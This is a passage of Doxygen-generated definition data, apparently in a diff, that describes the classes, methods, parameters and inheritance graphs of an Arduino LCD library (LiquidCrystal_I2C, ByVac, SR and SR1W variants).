'LiquidCrystal_I2C'; + node-link = { + node-link-id = 'class_liquid_crystal___i2_c'; + }; + node-child = { + child-id = '16'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + +_EnD_oF_dEf_TeXt_; + cp-collaborationgraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 18; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + node = { + node-id = 17; + node-label = 'LiquidCrystal_I2C'; + node-link = { + node-link-id = 'class_liquid_crystal___i2_c'; + }; + node-child = { + child-id = '18'; + relation = public-inheritance; + }; /* node-child */ + node-child = { + child-id = '19'; + relation = usage; + edgelabel = <<_EnD_oF_dEf_TeXt_ +_i2cio +_EnD_oF_dEf_TeXt_; + }; /* node-child */ + }; /* node */ + node = { + node-id = 19; + node-label = 'I2CIO'; + node-link = { + node-link-id = 'class_i2_c_i_o'; + }; + }; /* node */ + +_EnD_oF_dEf_TeXt_; +}; /* class */ +class = { + cp-id = 'class_liquid_crystal___i2_c___by_vac'; + cp-name = 'LiquidCrystal_I2C_ByVac'; + cp-ref = { + ref-type = base; + ref-id = 'class_l_c_d'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-section = { + sec-kind = 'public-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c___by_vac_1a34ce9cf919b9f8de59f842a4e94c1abb'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'begin'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'cols'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rows'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'charsize'; + sec-mem-param-defval = <<_EnD_oF_dEf_TeXt_ +LCD_5x8DOTS +_EnD_oF_dEf_TeXt_; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C_ByVac.h'; + sec-mem-desc-line = '68'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract LCD initialization and associated HW. + @discussion Initializes the LCD to a given size (col, row). This methods + initializes the LCD, therefore, it MUST be called prior to using any other + method from this class or parent class. + + The begin method can be overloaded if necessary to initialize any HW that + is implemented by a library and can't be done during construction, here + we use the Wire class. + + @param cols[in] the number of columns that the display has + @param rows[in] the number of rows that the display has + @param charsize[in] size of the characters of the LCD: LCD_5x8DOTS or + LCD_5x10DOTS. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c___by_vac_1a29c027cc8bfa78bb8d9ff3124fe83a31'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal_I2C_ByVac'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'lcd_Addr'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C_ByVac.h'; + sec-mem-desc-line = '50'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Class constructor. + @discussion Initializes class variables and defines the I2C address of the + LCD. The constructor does not initialize the LCD. + + @param lcd_Addr[in] I2C address of the IO expansion module. For BV4218, + the address can be configured using the address commands (to be implemented). +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c___by_vac_1a9e64cc68ec5df1a0fa421a242239b1b1'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'send'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'mode'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C_ByVac.h'; + sec-mem-desc-line = '82'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD for writing to the LCD or + as an LCD command. + + Users should never call this method. + + @param value[in] Value to send to the LCD. + @param mode[in] DATA - write to the LCD CGRAM, COMMAND - write a + command to the LCD. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c___by_vac_1a9b16e6ce123e2ebe3a3e33b2306e66a7'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setBacklight'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C_ByVac.h'; + sec-mem-desc-line = '92'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Switch-on/off the LCD backlight. + @discussion Switch-on/off the LCD backlight. + + @param value: backlight mode (HIGH|LOW) +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c___by_vac_1a53c79a20e8d21d2c3bc9e6d0dfc79cb4'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setContrast'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C_ByVac.h'; + sec-mem-desc-line = '102'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Switch-on/off the LCD contrast. + @discussion Switch-on/off the LCD contrast. + + @param value: contrast mode (HIGH|LOW) +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c___by_vac_1a7293d7ccd2a1f6305430f57a2023b5ef'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +int +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'init'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C_ByVac.h'; + sec-mem-desc-line = '111'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Initializes the LCD class + @discussion Initializes the LCD class and IO expansion module. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-attrib'; + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___i2_c___by_vac_1a6989e196aecac177e2b3b06d83877079'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_Addr'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C_ByVac.h'; + sec-mem-desc-line = '122'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Initialises class private variables + @discussion This is the class single point for initialising private variables. + + @param lcd_Addr[in] I2C address of the IO expansion module. For BV4218, + the address can be configured using the address commands. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-filename = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C_ByVac.h'; + cp-fileline = '38'; + cp-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-inheritancegraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 20; + node-label = 'LiquidCrystal_I2C_ByVac'; + node-link = { + node-link-id = 'class_liquid_crystal___i2_c___by_vac'; + }; + node-child = { + child-id = '21'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + node = { + node-id = 21; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + +_EnD_oF_dEf_TeXt_; + cp-collaborationgraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 22; + node-label = 'LiquidCrystal_I2C_ByVac'; + node-link = { + node-link-id = 'class_liquid_crystal___i2_c___by_vac'; + }; + node-child = { + child-id = '23'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + node = { + node-id = 23; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + +_EnD_oF_dEf_TeXt_; +}; /* class */ +class = { + cp-id = 'class_liquid_crystal___s_r'; + cp-name = 'LiquidCrystal_SR'; + cp-ref = { + ref-type = base; + ref-id = 'class_l_c_d'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-section = { + sec-kind = 'public-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r_1ac3fe0b48f8d4c1c941d82d1333495cfc'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal_SR'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'srdata'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'srclock'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'enable'; + sec-mem-param-defval = <<_EnD_oF_dEf_TeXt_ +TWO_WIRE +_EnD_oF_dEf_TeXt_; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '108'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract LCD SHIFT REGISTER constructors. + @discussion Defines the pin assignment that the LCD will have. + The constructor does not initialize the LCD. Assuming 1 line 8 pixel high + font. + + @param srdata[in] pin for shiftregister data line. + @param srclock[in] pin for shiftregister clock line. + @param enable[in] optional direct enable pin for the LCD +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r_1a03821351a32db07cb7e42c8c11ce8d47'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'send'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'mode'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '122'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD for writing to the LCD or + as an LCD command using the shift register. + + Users should never call this method. + + @param value[in] Value to send to the LCD. + @result mode LOW - write to the LCD CGRAM, HIGH - write a command to + the LCD. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r_1ad9f3e3f36257984c23fb508973e14535'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setBacklight'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'mode'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '145'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Switch-on/off the LCD backlight. + @discussion Switch-on/off the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. + + @param mode: backlight mode (HIGH|LOW) +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r_1a5bfc0dcc1f042bcb59992493a3a7231d'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setBacklightPin'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '134'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Sets the pin to control the backlight. + @discussion Sets the pin in the device to control the backlight. + @warning Currently not supported + + @param mode: backlight mode (HIGH|LOW) + @param pol: backlight polarity +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r_1a0f15bf3f5041a91469da5fd75aba5d5e'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'init'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'srdata'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'srclock'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'enable'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'lines'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'font'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '155'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Initializes the LCD pin allocation + @discussion Initializes the LCD pin allocation and configuration. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r_1a2684630ad69618fab065f53eea543df8'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'shiftIt'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'val'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '161'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract takes care of shifting and the enable pulse +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-attrib'; + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r_1acee96e0ef397441bdde73ca921160476'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_enable_pin'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '163'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r_1a68bffb6befc28cb716fb0c48b50f65fc'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_srClockBit'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '169'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r_1a507726b30de4b552b4e32faf9a3aa9e3'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_srClockRegister'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '168'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r_1a9984b207beddba9ff299f9356f891065'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_srDataBit'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '167'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r_1a1e5bf3e5c6ec5b6c41f6949b6e34fd34'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_srDataRegister'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '166'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r_1a12e3ee583d454d5f52223beca91f5bae'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_srEnableBit'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '171'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r_1adab0eb2bb7392a77375034530bf230eb'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_srEnableRegister'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '170'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r_1ad20f9d3282b047fdbae8e97b07d4fc89'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_two_wire'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '164'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-filename = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + cp-fileline = '95'; + cp-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-inheritancegraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 24; + node-label = 'LiquidCrystal_SR'; + node-link = { + node-link-id = 'class_liquid_crystal___s_r'; + }; + node-child = { + child-id = '25'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + node = { + node-id = 25; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + +_EnD_oF_dEf_TeXt_; + cp-collaborationgraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 26; + node-label = 'LiquidCrystal_SR'; + node-link = { + node-link-id = 'class_liquid_crystal___s_r'; + }; + node-child = { + child-id = '27'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + node = { + node-id = 27; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + +_EnD_oF_dEf_TeXt_; +}; /* class */ +class = { + cp-id = 'class_liquid_crystal___s_r1_w'; + cp-name = 'LiquidCrystal_SR1W'; + cp-ref = { + ref-type = base; + ref-id = 'class_l_c_d'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-section = { + sec-kind = 'public-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r1_w_1a33bff2c123d3dc42a829b0f8034912c9'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal_SR1W'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'srdata'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_sr1w_circuitType +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'circuitType'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'blpol'; + sec-mem-param-defval = <<_EnD_oF_dEf_TeXt_ +POSITIVE +_EnD_oF_dEf_TeXt_; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR1W.h'; + sec-mem-desc-line = '314'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract LCD 1 wire SHIFT REGISTER constructor. + @discussion Defines the pin assignments that connect to the shift register. + The constructor does not initialize the LCD. Assuming 1 line 8 pixel high + font. + + @param srdata[in] Arduino pin for shift register. + @param circuitType[in] optionally select an alternate circuit type + @param blpol[in] optional backlight polarity (default = POSITIVE) +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r1_w_1a7fc0b03977907b4d526a6b9e49a331b1'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'send'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = 